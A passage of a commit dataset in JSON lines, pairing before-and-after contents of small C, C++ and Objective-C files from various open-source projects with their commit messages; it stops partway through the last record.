{"commit":"7798a06a3351324b83eed8f8559bee182e0c752a","old_file":"src\/linux\/io_event.h","new_file":"src\/linux\/io_event.h","old_contents":"","new_contents":"\/*\n *The MIT License (MIT)\n *\n * Copyright (c) <2016> <Stephan Gatzka>\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS\n * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN\n * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN\n * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\/\n\n#ifndef CJET_IO_EVENT_H\n#define CJET_IO_EVENT_H\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include <stdint.h>\n\nunion io_context {\n\tvoid *ptr;\n\tint fd;\n\tuint32_t u32;\n\tuint64_t u64;\n};\n\nstruct io_event {\n\tunion io_context context;\n\tint (*read_function)(union io_context*);\n\tint (*write_function)(union io_context*);\n};\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n\n","subject":"Add preliminary structure for generic io handling.","message":"Add preliminary structure for generic io handling.\n","lang":"C","license":"mit","repos":"gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet"}
{"commit":"89bba249561dc480430c64d9eecbc4af92bf6376","old_file":"src\/config\/cearth_config.h","new_file":"src\/config\/cearth_config.h","old_contents":"#ifndef _CONFIG_H_\n#define _CONFIG_H_\n\n#define LOGINDB_FILE \"logindb\"\n#define LOGINDB_MAX 100\n#define LOGINDB_MAXLINE 128\n#define LOGIN_COOKIEJAR \"cookie\"\n#define LOGIN_COOKIESIZE 32\n#define LOGIN_TOKENSIZE  64\n#define LOGIN_URLMAXSIZE 256\n\nstatic const char *haven_authserv    = \"moltke.seatribe.se\";\nstatic const char *haven_webauth     = \"www.havenandhearth.com\";\nstatic const char *haven_tokenlink   = \"\/autohaven\";\nstatic const char *cearth_config_dir = \"\/.cearth\/\";\nstatic const char *foo               = \"test\";\n\n#endif\n","new_contents":"#ifndef _CONFIG_H_\n#define _CONFIG_H_\n\n#define LOGINDB_FILE \"logindb\"\n#define LOGINDB_MAX 100\n#define LOGINDB_MAXLINE 128\n#define LOGIN_COOKIEJAR \"cookie\"\n#define LOGIN_COOKIESIZE 32\n#define LOGIN_TOKENSIZE  64\n#define LOGIN_URLMAXSIZE 256\n#define LOGIN_TOKSTRSTART \"<property name=\\\"jnlp.haven.authck\\\" value=\\\"\"\n\nstatic const char *haven_authserv    = \"moltke.seatribe.se\";\nstatic const char *haven_webauth     = \"www.havenandhearth.com\";\nstatic const char *haven_tokenlink   = \"\/autohaven\";\nstatic const char *cearth_config_dir = \"\/.cearth\/\";\nstatic const char *foo               = \"test\";\n\n#endif\n","subject":"Add the string to search when parsing for token from website","message":"Add the string to search when parsing for token from website\n","lang":"C","license":"mit","repos":"nyanpasu\/cearth"}
{"commit":"298f58e073b2782bd264edea969769b7b5e7cf41","old_file":"libc\/sysdeps\/linux\/arm\/bits\/arm_asm.h","new_file":"libc\/sysdeps\/linux\/arm\/bits\/arm_asm.h","old_contents":"\/* Various definitons used the the ARM uClibc assembly code.  *\/\n#ifndef _ARM_ASM_H\n#define _ARM_ASM_H\n\n#ifdef __thumb2__\n# ifdef __ASSEMBLER__\n.thumb\n.syntax unified\n# endif \/* __ASSEMBLER__ *\/\n#define IT(t, cond) i##t cond\n#else\n\/* XXX: This can be removed if\/when we require an assembler that supports\n   unified assembly syntax.  *\/\n#define IT(t, cond)\n\/* Code to return from a thumb function stub.  *\/\n#ifdef __ARM_ARCH_4T__\n#define POP_RET pop\t{r2, pc}\n#else\n#define POP_RET pop\t{r2, r3}; bx\tr3\n#endif\n#endif\n\n#if defined(__ARM_ARCH_6M__)\n\/* Force arm mode to flush out errors on M profile cores.  *\/\n#undef IT\n#define THUMB1_ONLY 1\n#endif\n\n#endif \/* _ARM_ASM_H *\/\n","new_contents":"\/* Various definitons used the the ARM uClibc assembly code.  *\/\n#ifndef _ARM_ASM_H\n#define _ARM_ASM_H\n\n#ifdef __thumb2__\n# ifdef __ASSEMBLER__\n.thumb\n.syntax unified\n# endif \/* __ASSEMBLER__ *\/\n#define IT(t, cond) i##t cond\n#else\n\/* XXX: This can be removed if\/when we require an assembler that supports\n   unified assembly syntax.  *\/\n#define IT(t, cond)\n\/* Code to return from a thumb function stub.  *\/\n# if defined __ARM_ARCH_4T__ && defined __THUMB_INTERWORK__\n#  define POP_RET pop   {r2, r3}; bx    r3\n# else\n#  define POP_RET pop   {r2, pc}\n# endif\n#endif \/* __thumb2__ *\/\n\n#if defined(__ARM_ARCH_6M__)\n\/* Force arm mode to flush out errors on M profile cores.  *\/\n#undef IT\n#define THUMB1_ONLY 1\n#endif\n\n#endif \/* _ARM_ASM_H *\/\n","subject":"Fix POP_RET for armv4t && interworking","message":"arm: Fix POP_RET for armv4t && interworking\n\nIt seems the condition was reversed which lead to e.g. arm-920t being\nconfused\n\nSigned-off-by: Bernhard Reutner-Fischer <ce1ac9e9ad16abccd7821f371ad381197b4768ac@gmail.com>\n","lang":"C","license":"lgpl-2.1","repos":"kraj\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,brgl\/uclibc-ng,kraj\/uclibc-ng,wbx-github\/uclibc-ng,majek\/uclibc-vx32,brgl\/uclibc-ng,kraj\/uClibc,brgl\/uclibc-ng,foss-for-synopsys-dwc-arc-processors\/uClibc,foss-for-synopsys-dwc-arc-processors\/uClibc,wbx-github\/uclibc-ng,majek\/uclibc-vx32,kraj\/uClibc,kraj\/uclibc-ng,brgl\/uclibc-ng,kraj\/uclibc-ng,foss-for-synopsys-dwc-arc-processors\/uClibc,kraj\/uclibc-ng,wbx-github\/uclibc-ng,wbx-github\/uclibc-ng,majek\/uclibc-vx32,majek\/uclibc-vx32,kraj\/uClibc"}
{"commit":"d75a5701418bd93343473231248e44b4cb60abe2","old_file":"src\/article_analysis\/protocol\/types.h","new_file":"src\/article_analysis\/protocol\/types.h","old_contents":"","new_contents":"#ifndef ARTICLE_ANALYSIS_PROTOCOL_TYPES_H_\n#define ARTICLE_ANALYSIS_PROTOCOL_TYPES_H_\n\n\n#include <string.h>\n#include <time.h>\n\n#include <string>\n#include <vector>\n\n\nnamespace protocol {\n\nnamespace types {\n\n\n\/**\n * Type of the document's title string.\n *\/\ntypedef std::wstring DocTitle;\n\n\n\/**\n * Type of the user name string.\n *\/\ntypedef std::string User;\n\n\n\/**\n * Type of the document's content string.\n *\/\ntypedef std::wstring Content;\n\n\n\/**\n * Type of of the time point.\n *\/\ntypedef time_t Time;\n\n\n\/**\n * Type of the board.\n *\/\ntypedef std::string Board;\n\n\n\/**\n * Enumerate of the reply mode\n *\/\nenum class ReplyMode : int {\n  GOOD = 0,\n  NORMAL,\n  WOO,\n};\n\n\n\/**\n * Number of different reply modes.\n *\/\nstatic constexpr size_t NUM_REPLY_MODES = 3;\n\n\n\/**\n * Type of a row of reply message.\n *\/\nstruct ReplyMessage {\n  ReplyMode mode;\n  User user;\n  Content message;\n\n  ReplyMessage() {}\n  ReplyMessage(ReplyMode mode, User const& user, Content const& message) :\n      mode(mode), user(user), message(message) {}\n};\n\n\n\/**\n * Type of an array of reply messages.\n *\/\ntypedef std::vector<ReplyMessage> ReplyMessages;\n\n\n\/**\n * Meta data of a document.\n *\/\nstruct DocMetaData {\n  size_t id;\n  size_t prev_id;\n  DocTitle title;\n  User author;\n  Time post_time;\n  Board board;\n\n  size_t num_reply_rows[NUM_REPLY_MODES];\n\n  DocMetaData() {}\n  DocMetaData(size_t id,\n              size_t prev_id,\n              DocTitle const& title,\n              User const& author,\n              Time const& post_time,\n              Board const& board,\n              size_t num_reply_rows[NUM_REPLY_MODES]) :\n      id(id), prev_id(prev_id),\n      title(title), author(author), post_time(post_time), board(board) {\n    memcpy(this->num_reply_rows, num_reply_rows, sizeof(this->num_reply_rows));\n  }\n};\n\n\n\/**\n * Real document content data.\n *\/\nstruct DocRealData {\n  Content content;\n  ReplyMessages reply_messages;\n\n  DocRealData() {}\n  DocRealData(Content const& content, ReplyMessages const& reply_messages) :\n      content(content), reply_messages(reply_messages) {}\n};\n\n}  \/\/ namespace types\n\n}  \/\/ namespace protocol\n\n#endif  \/\/ ARTICLE_ANALYSIS_PROTOCOL_TYPES_H_\n","subject":"Add type definitions of structure documents","message":"Add type definitions of structure documents\n\nAs title.\n","lang":"C","license":"mit","repos":"cathook\/PTTArticleRecommender,cathook\/PTTArticleRecommender,cathook\/PTTArticleRecommender,cathook\/PTTArticleRecommander,cathook\/PTTArticleRecommander,cathook\/PTTArticleRecommander,cathook\/PTTArticleRecommender,cathook\/PTTArticleRecommander,cathook\/PTTArticleRecommander,cathook\/PTTArticleRecommender"}
{"commit":"23287c6cc26e007c6c46eb387e5c5fd296df195e","old_file":"ghighlighter\/gh-datastore.c","new_file":"ghighlighter\/gh-datastore.c","old_contents":"","new_contents":"#include <sqlite3.h>\n#include <string.h>\n#include <stdlib.h>\n\nchar *\ngh_db_path (char *data_dir)\n{\n  char *db_file = \"\/ghighlighter.db\";\n\n  int length = strlen (data_dir);\n  length = length + strlen (db_file);\n\n  char *path = malloc (length + sizeof (char));\n  strcat (path, data_dir);\n  strcat (path, db_file);\n\n  return path;\n}\n","subject":"Add method to return path to db file","message":"Add method to return path to db file\n","lang":"C","license":"mit","repos":"chdorner\/ghighlighter-c"}
{"commit":"1ee690946e0b9dc2a44dd673f4e62942a953bec5","old_file":"include\/ImageIO\/CGImageSourceInternal.h","new_file":"include\/ImageIO\/CGImageSourceInternal.h","old_contents":"\/\/******************************************************************************\n\/\/\n\/\/ Copyright (c) 2016, Intel Corporation\n\/\/ Copyright (c) 2016 Microsoft Corporation. All rights reserved.\n\/\/\n\/\/ This code is licensed under the MIT License (MIT).\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/******************************************************************************\n#pragma once\n\n@interface ImageSource : NSObject\n@property (nonatomic) NSData *data;\n- (instancetype)initWithData:(CFDataRef)data;\n- (instancetype)initWithURL:(CFURLRef)url;\n- (instancetype)initWithDataProvider:(CGDataProviderRef)provider;\n- (CFStringRef)getImageType;\n@end","new_contents":"\/\/******************************************************************************\n\/\/\n\/\/ Copyright (c) 2016, Intel Corporation\n\/\/ Copyright (c) 2016 Microsoft Corporation. All rights reserved.\n\/\/\n\/\/ This code is licensed under the MIT License (MIT).\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\/\/******************************************************************************\n#pragma once\n\n#import <Foundation\/NSObject.h>\n#import <CoreFoundation\/CFData.h>\n#import <CoreFoundation\/CFURL.h>\n#import <CoreGraphics\/CoreGraphicsExport.h>\n\n@class NSData;\n\n@interface ImageSource : NSObject\n@property (nonatomic) NSData *data;\n- (instancetype)initWithData:(CFDataRef)data;\n- (instancetype)initWithURL:(CFURLRef)url;\n- (instancetype)initWithDataProvider:(CGDataProviderRef)provider;\n- (CFStringRef)getImageType;\n@end\n","subject":"Fix ApiAnalyzer complaints about ImageIO headers.","message":"Fix ApiAnalyzer complaints about ImageIO headers.\n","lang":"C","license":"mit","repos":"nathpete-msft\/WinObjC,rajsesh-msft\/WinObjC,yweijiang\/WinObjC,autodesk-forks\/WinObjC,yweijiang\/WinObjC,bSr43\/WinObjC,bbowman\/WinObjC,MSFTFox\/WinObjC,s5msft\/WinObjC,bbowman\/WinObjC,rajsesh-msft\/WinObjC,MSFTFox\/WinObjC,Microsoft\/WinObjC,bbowman\/WinObjC,vkvenkat\/WinObjC,pradipd\/WinObjC,ehren\/WinObjC,nathpete-msft\/WinObjC,afaruqui\/WinObjC,yweijiang\/WinObjC,Microsoft\/WinObjC,bSr43\/WinObjC,afaruqui\/WinObjC,yweijiang\/WinObjC,pradipd\/WinObjC,autodesk-forks\/WinObjC,s5msft\/WinObjC,ehren\/WinObjC,Microsoft\/WinObjC,pradipd\/WinObjC,bbowman\/WinObjC,pradipd\/WinObjC,s5msft\/WinObjC,nathpete-msft\/WinObjC,afaruqui\/WinObjC,vkvenkat\/WinObjC,bSr43\/WinObjC,autodesk-forks\/WinObjC,rajsesh-msft\/WinObjC,s5msft\/WinObjC,pradipd\/WinObjC,MSFTFox\/WinObjC,autodesk-forks\/WinObjC,Microsoft\/WinObjC,rajsesh-msft\/WinObjC,ehren\/WinObjC,bbowman\/WinObjC,nathpete-msft\/WinObjC,afaruqui\/WinObjC,ehren\/WinObjC,vkvenkat\/WinObjC,nathpete-msft\/WinObjC,bSr43\/WinObjC,MSFTFox\/WinObjC,ehren\/WinObjC,vkvenkat\/WinObjC"}
{"commit":"6aeb3c9f6d6ba11901272b53b78671bab093baab","old_file":"src\/serialize\/json\/string_jump_state.h","new_file":"src\/serialize\/json\/string_jump_state.h","old_contents":"","new_contents":"\/*\n * waysome - wayland based window manager\n *\n * Copyright in alphabetical order:\n *\n * Copyright (C) 2014-2015 Julian Ganz\n * Copyright (C) 2014-2015 Manuel Messner\n * Copyright (C) 2014-2015 Marcel Müller\n * Copyright (C) 2014-2015 Matthias Beyer\n * Copyright (C) 2014-2015 Nadja Sommerfeld\n *\n * This file is part of waysome.\n *\n * waysome is free software: you can redistribute it and\/or modify it under the\n * terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation, either version 2.1 of the License, or (at your option)\n * any later version.\n *\n * waysome is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n * A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n * details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with waysome. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/**\n * @addtogroup serializer_module \"Serializer module\"\n *\n * @{\n *\/\n\n\/**\n * @addtogroup serializer_module_json_backend \"Serializer JSON backend\"\n *\n * @{\n *\/\n\n\/**\n * @addtogroup serializer_module_json_backend_deser \"JSON backend deserializer\"\n *\n * Serializer module JSON backend private utilities\n *\n * @{\n *\/\n\n#ifndef __WS_SERIALIZE_JSON_DESERIALIZER_STRING_JUMP_TAB_COMMON_H__\n#define __WS_SERIALIZE_JSON_DESERIALIZER_STRING_JUMP_TAB_COMMON_H__\n\n#include \"serialize\/json\/states.h\"\n\n\/**\n * Get the next state for the current state and a string\n *\/\nenum json_backend_state\nget_next_state_for_string(\n    enum json_backend_state current,\n    const unsigned char * str\n);\n\n#endif \/\/__WS_SERIALIZE_JSON_DESERIALIZER_STRING_JUMP_TAB_COMMON_H__\n\n\/**\n * @}\n *\/\n\n\/**\n * @}\n *\/\n\n\/**\n * @}\n *\/\n","subject":"Add string jump state helper interface definition","message":"Add string jump state helper interface definition\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/waysome,waysome\/waysome"}
{"commit":"5a196100cf17c7dcee8b1be9c3155a96e7c8b047","old_file":"src\/otu.c","new_file":"src\/otu.c","old_contents":"","new_contents":"\/*\n\t\n\tOxygen Toxicity Unit Calulation\n\n*\/\n\n#include <math>\n\ndouble otu_const(double time,\n                 double o2_ratio)\n\n{\n\tdouble otu = 0.0;\n\n\totu = time * pow(( 0.5 \/ (o2_ratio - 0.5)), (-5\/6));\n\n\treturn (otu);\n}\n\ndouble otu_descend(double time,\n                   double o2_ratio_i,\n                   double o2_ratio_f)\n{\n\tdouble otu = 0.0;\n\n\n\totu = ((3\/11)*time)\/(o2_ratio_f-o2_ratio_i)*((pow((o2_ratio_f - 0.5)\/0.5),11\/6) - pow((o2_ratio_i - 0.5)\/0.5, 11\/6));\n\n\treturn otu;\n}\n","subject":"Add the calculations for the Oxygen Toxicity Unit","message":"Add the calculations for the Oxygen Toxicity Unit\n","lang":"C","license":"isc","repos":"AquaBSD\/libbuhlmann,AquaBSD\/libbuhlmann,AquaBSD\/libbuhlmann"}
{"commit":"dc6dfea7444709fd4a86b06a204b73f4b549ba48","old_file":"src\/chrono_vehicle\/tracked_vehicle\/road_wheel\/ChSingleRoadWheel.h","new_file":"src\/chrono_vehicle\/tracked_vehicle\/road_wheel\/ChSingleRoadWheel.h","old_contents":"","new_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ Base class for a single road wheel (template definition).\n\/\/ A single road wheel is of type LATERAL_PIN.\n\/\/\n\/\/ =============================================================================\n\n#ifndef CH_SINGLE_ROAD_WHEEL_H\n#define CH_SINGLE_ROAD_WHEEL_H\n\n#include \"chrono_vehicle\/ChApiVehicle.h\"\n#include \"chrono_vehicle\/ChSubsysDefs.h\"\n\n#include \"chrono_vehicle\/tracked_vehicle\/ChRoadWheel.h\"\n\nnamespace chrono {\nnamespace vehicle {\n\n\/\/\/\n\/\/\/\n\/\/\/\nclass CH_VEHICLE_API ChSingleRoadWheel : public ChRoadWheel {\n  public:\n    ChSingleRoadWheel(const std::string& name  \/\/\/< [in] name of the subsystem\n                      );\n\n    virtual ~ChSingleRoadWheel() {}\n\n    \/\/\/ Return the type of track shoe consistent with this road wheel.\n    virtual TrackShoeType GetType() const override { return LATERAL_PIN; }\n\n    \/\/\/ Initialize this road wheel subsystem.\n    virtual void Initialize(ChSharedPtr<ChBodyAuxRef> chassis,  \/\/\/< [in] handle to the chassis body\n                            const ChVector<>& location          \/\/\/< [in] location relative to the chassis frame\n                            ) override;\n\n    \/\/\/ Add visualization of the road wheel.\n    \/\/\/ This (optional) function should be called only after a call to Initialize().\n    \/\/\/ It renders the wheel as a textured cylinder.\n    void AddWheelVisualization() override;\n\n  protected:\n    \/\/\/ Return the width of the road wheel.\n    virtual double GetWheelWidth() const = 0;\n};\n\n}  \/\/ end namespace vehicle\n}  \/\/ end namespace chrono\n\n#endif\n","subject":"Fix case of file name","message":"Fix case of file name\n","lang":"C","license":"bsd-3-clause","repos":"rserban\/chrono,jcmadsen\/chrono,armanpazouki\/chrono,tjolsen\/chrono,armanpazouki\/chrono,dariomangoni\/chrono,amelmquist\/chrono,armanpazouki\/chrono,rserban\/chrono,armanpazouki\/chrono,rserban\/chrono,tjolsen\/chrono,projectchrono\/chrono,Milad-Rakhsha\/chrono,jcmadsen\/chrono,amelmquist\/chrono,rserban\/chrono,jcmadsen\/chrono,jcmadsen\/chrono,Milad-Rakhsha\/chrono,Milad-Rakhsha\/chrono,jcmadsen\/chrono,dariomangoni\/chrono,andrewseidl\/chrono,andrewseidl\/chrono,tjolsen\/chrono,amelmquist\/chrono,jcmadsen\/chrono,armanpazouki\/chrono,andrewseidl\/chrono,andrewseidl\/chrono,projectchrono\/chrono,jcmadsen\/chrono,dariomangoni\/chrono,Milad-Rakhsha\/chrono,projectchrono\/chrono,rserban\/chrono,rserban\/chrono,amelmquist\/chrono,andrewseidl\/chrono,Milad-Rakhsha\/chrono,armanpazouki\/chrono,tjolsen\/chrono,dariomangoni\/chrono,dariomangoni\/chrono,amelmquist\/chrono,rserban\/chrono,Milad-Rakhsha\/chrono,projectchrono\/chrono,projectchrono\/chrono,tjolsen\/chrono,projectchrono\/chrono,dariomangoni\/chrono,amelmquist\/chrono"}
{"commit":"b8ce3260e50eff750d5b2426fc8317fe474018db","old_file":"zmq_compat.h","new_file":"zmq_compat.h","old_contents":"","new_contents":"\/* Copyright © 2001-2014, Canal TP and\/or its affiliates. All rights reserved.\n\nThis file is part of Navitia,\n    the software to build cool stuff with public transport.\n\nHope you'll enjoy and contribute to this project,\n    powered by Canal TP (www.canaltp.fr).\nHelp us simplify mobility and open public transport:\n    a non ending quest to the responsive locomotion way of traveling!\n\nLICENCE: This program is free software; you can redistribute it and\/or modify\nit under the terms of the GNU Affero General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\nGNU Affero General Public License for more details.\n\nYou should have received a copy of the GNU Affero General Public License\nalong with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\nStay tuned using\ntwitter @navitia\nIRC #navitia on freenode\nhttps:\/\/groups.google.com\/d\/forum\/navitia\nwww.navitia.io\n*\/\n\/**\n * this file provide a compatibility layer between zmq 2 and zmq 3\n * by providing a API similar to zmq 2\n *\/\n\n#pragma once\n#include <zmq.hpp>\n\n#if ZMQ_VERSION_MAJOR >= 3\nnamespace zmq{\n    void device(int, void *frontend, void *backend){\n        zmq::proxy(frontend, backend, NULL);\n    }\n}\n\n#endif\n","subject":"Add a compatibility layer for zmq 3","message":"Add a compatibility layer for zmq 3\n","lang":"C","license":"agpl-3.0","repos":"pbougue\/utils,xlqian\/utils,CanalTP\/utils,CanalTP\/utils"}
{"commit":"79c31c97a5c0c1b061f18fec06d6b969d267c766","old_file":"src\/modules\/test_map\/mod.c","new_file":"src\/modules\/test_map\/mod.c","old_contents":"#include <Elementary.h>\n#ifdef HAVE_CONFIG_H\n# include \"elementary_config.h\"\n#endif\n\nEAPI int \nelm_modapi_init(void *m) \n{   \n   return 1; \/\/ succeed always\n}\n\nEAPI int \nelm_modapi_shutdown(void *m) \n{\n   return 1; \/\/ succeed always\n}\n\nEAPI Eina_Bool\nobj_hook(Evas_Object *obj)\n{\n   return EINA_TRUE;\n}\n\nEAPI Eina_Bool\nobj_unhook(Evas_Object *obj)\n{ \n   return EINA_TRUE;\n}\n\nEAPI Eina_Bool \nobj_convert_geo_into_coord(const Evas_Object *obj, int zoom, double lon, double lat, int size, int *x, int *y)\n{\n   return EINA_FALSE;\n}\n\nEAPI Eina_Bool\nobj_convert_coord_into_geo(const Evas_Object *obj, int zoom, int x, int y, int size, double *lon, double *lat)\n{\n   return EINA_FALSE;\n}\n\nEAPI char*\nobj_url_request(Evas_Object *obj, int x, int y, int zoom)\n{\n   char buf[PATH_MAX];\n   snprintf(buf, sizeof(buf), \"http:\/\/tile.openstreetmap.org\/%d\/%d\/%d.png\",\n            zoom, x, y);\n   return strdup(buf);\n}\n\n","new_contents":"#include <Elementary.h>\n#ifdef HAVE_CONFIG_H\n# include \"elementary_config.h\"\n#endif\n\nEAPI int \nelm_modapi_init(void *m __UNUSED__) \n{   \n   return 1; \/\/ succeed always\n}\n\nEAPI int \nelm_modapi_shutdown(void *m __UNUSED__) \n{\n   return 1; \/\/ succeed always\n}\n\nEAPI Eina_Bool\nobj_hook(Evas_Object *obj __UNUSED__)\n{\n   return EINA_TRUE;\n}\n\nEAPI Eina_Bool\nobj_unhook(Evas_Object *obj __UNUSED__)\n{ \n   return EINA_TRUE;\n}\n\nEAPI Eina_Bool \nobj_convert_geo_into_coord(const Evas_Object *obj __UNUSED__, int zoom __UNUSED__, double lon __UNUSED__, double lat __UNUSED__, int size __UNUSED__, int *x __UNUSED__, int *y __UNUSED__)\n{\n   return EINA_FALSE;\n}\n\nEAPI Eina_Bool\nobj_convert_coord_into_geo(const Evas_Object *obj __UNUSED__, int zoom __UNUSED__, int x __UNUSED__, int y __UNUSED__, int size __UNUSED__, double *lon __UNUSED__, double *lat __UNUSED__)\n{\n   return EINA_FALSE;\n}\n\nEAPI char*\nobj_url_request(Evas_Object *obj __UNUSED__, int x, int y, int zoom)\n{\n   char buf[PATH_MAX];\n   snprintf(buf, sizeof(buf), \"http:\/\/tile.openstreetmap.org\/%d\/%d\/%d.png\",\n            zoom, x, y);\n   return strdup(buf);\n}\n\n","subject":"Add UNUSED so we get a clean compile.","message":"Add UNUSED so we get a clean compile.\n\n\n\nSVN revision: 55786\n","lang":"C","license":"lgpl-2.1","repos":"rvandegrift\/elementary,FlorentRevest\/Elementary,tasn\/elementary,tasn\/elementary,tasn\/elementary,FlorentRevest\/Elementary,tasn\/elementary,rvandegrift\/elementary,tasn\/elementary,FlorentRevest\/Elementary,rvandegrift\/elementary,FlorentRevest\/Elementary,rvandegrift\/elementary"}
{"commit":"7b6b9da98f07f48342a50a437e18f049c7f9537b","old_file":"GITPackFile.h","new_file":"GITPackFile.h","old_contents":"\/\/\n\/\/  GITPackFile.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 05\/08\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface GITPackFile : NSObject\n{\n    NSData * idxData;\n    NSData * packData;\n\n    NSString * idxPath;\n    NSString * packPath;\n    \n    NSArray  * idxOffsets;\n\n    NSUInteger idxVersion;\n    NSUInteger packVersion;\n    \n    NSUInteger numberOfObjects;\n}\n\n@end\n\n@property(readonly,copy) NSString * idxPath;\n@property(readonly,copy) NSString * packPath;\n","new_contents":"\/\/\n\/\/  GITPackFile.h\n\/\/  CocoaGit\n\/\/\n\/\/  Created by Geoffrey Garside on 05\/08\/2008.\n\/\/  Copyright 2008 ManicPanda.com. All rights reserved.\n\/\/\n\n#import <Cocoa\/Cocoa.h>\n\n@interface GITPackFile : NSObject\n{\n    NSData * idxData;\n    NSData * packData;\n\n    NSString * idxPath;\n    NSString * packPath;\n    \n    NSArray  * idxOffsets;\n\n    NSUInteger idxVersion;\n    NSUInteger packVersion;\n    \n    NSUInteger numberOfObjects;\n}\n\n@property(readonly,copy) NSString * idxPath;\n@property(readonly,copy) NSString * packPath;\n@property(readonly,assign) NSUInteger idxVersion;\n@property(readonly,assign) NSUInteger packVersion;\n@property(readonly,assign) NSUInteger numberOfObjects;\n\n- (id)initWithPath:(NSString*)path;\n- (void)setPackPath:(NSString*)path;\n- (void)setIdxPath:(NSString*)path;\n- (void)openIdxAndPackFiles;\n- (void)readPack;\n- (NSData*)objectAtOffset:(NSUInteger)offset;\n- (NSData*)objectAtOffsetVersion1:(NSUInteger)offset;\n- (NSData*)objectAtOffsetVersion2:(NSUInteger)offset;\n- (void)readIdx;\n- (NSData*)dataForSha1:(NSString*)sha1;\n- (NSUInteger)offsetForSha1:(NSString*)sha1;\n\n@end\n","subject":"Add more properties and methods to help with git-pack-inspect debugging","message":"Add more properties and methods to help with git-pack-inspect debugging\n","lang":"C","license":"mit","repos":"geoffgarside\/cocoagit,schacon\/cocoagit,geoffgarside\/cocoagit,schacon\/cocoagit"}
{"commit":"08668aa02b246767ee650d63819226040f30b050","old_file":"example\/ex-string03.c","new_file":"example\/ex-string03.c","old_contents":"","new_contents":"#include <stdio.h>\n#include \"m-string.h\"\n#include \"m-dict.h\"\n#include \"m-array.h\"\n\n\/* Definition of an associative map string_t --> size_t *\/\nDICT_DEF2(dict_str, string_t, size_t)\n#define M_OPL_dict_str_t() DICT_OPLIST(dict_str, STRING_OPLIST, M_DEFAULT_OPLIST)\n\n\/* Definition of an array of string_t *\/\nARRAY_DEF(vector_str, string_t)\n#define M_OPL_vector_str_t() ARRAY_OPLIST(vector_str, STRING_OPLIST)\n\nint main(void)\n{\n    \/\/ Construct an array of string, performing a convertion of the C const char *\n    \/\/ into a proper string_t at real time and push then into a dynamic array\n    \/\/ that is declared, initialized and cleared.\n    M_LET( (words, (\"This\"), (\"is\"), (\"a\"), (\"useless\"), (\"sentence\"), (\".\"),\n                    (\"It\"), (\"is\"), (\"used\"), (\"a\"), (\"bit\"), (\"to\"), (\"count\"), (\"words\"), (\".\") ),\n                    vector_str_t) {\n        